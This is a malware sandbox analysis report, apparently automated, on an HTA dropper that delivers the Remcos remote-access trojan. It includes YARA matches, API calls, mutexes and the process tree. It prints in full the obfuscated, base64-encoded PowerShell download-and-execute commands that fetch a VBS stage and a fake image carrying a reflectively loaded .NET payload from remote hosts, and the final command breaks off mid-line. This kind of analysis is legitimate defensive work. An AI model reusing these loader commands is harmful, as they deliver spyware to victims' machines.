kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_004158B9 ExitWindowsEx,LoadLibraryA,GetProcAddress,

18_2_004158B9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_04669F66	16_2_04669F66
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_0466A8A0	16_2_0466A8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0041D071	18_2_0041D071
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_004520D2	18_2_004520D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0043D098	18_2_0043D098
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00437150	18_2_00437150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_004361AA	18_2_004361AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00426254	18_2_00426254
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00431377	18_2_00431377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0043651C	18_2_0043651C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0041E5DF	18_2_0041E5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0044C739	18_2_0044C739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_004367C6	18_2_004367C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_004267CB	18_2_004267CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0043C9DD	18_2_0043C9DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00432A49	18_2_00432A49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00436A8D	18_2_00436A8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0043CC0C	18_2_0043CC0C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00436D48	18_2_00436D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00434D22	18_2_00434D22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00426E73	18_2_00426E73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00440E20	18_2_00440E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0043CE3B	18_2_0043CE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00412F45	18_2_00412F45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00452F00	18_2_00452F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00426FAD	18_2_00426FAD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 00401F66 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 004020E7 appears 40 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 004338A5 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 00433FB0 appears 55 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 2069
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2362
Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 2069	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2362	Jump to behavior

Source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7604, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.expl.evad.winHTA@20/22@3/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00416AB7 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

18_2_00416AB7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0040E219 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

18_2_0040E219

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0041A63F FindResourceA,LoadResource,LockResource,SizeofResource,

18_2_0041A63F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00419BC4 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

18_2_00419BC4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\seehavingfacingbestthignstogetmebackwithentiretimegreat[1].tiff

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-VCYBO3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5936:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgwk5qel.12s.ps1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seehavingfacingbestthignstogetmebackwithentiretimegre.vbS"

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: seethebestthignswhichgivingbestopportunities.hta

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\seethebestthignswhichgivingbestopportunities.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES883E.tmp" "c:\Users\user\AppData\Local\Temp\2c1bgmxj\CSC89B293BFADB94B3BBFCBA07F5ADB38CA.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seehavingfacingbestthignstogetmebackwithentiretimegre.vbS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, 